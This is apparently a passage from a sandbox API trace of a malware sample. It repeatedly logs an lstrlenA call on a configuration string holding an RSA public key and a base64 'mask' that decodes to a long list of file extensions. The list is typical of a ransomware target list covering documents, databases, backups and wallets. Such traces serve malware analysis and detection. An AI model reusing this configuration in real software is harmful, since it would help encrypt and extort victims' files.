ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN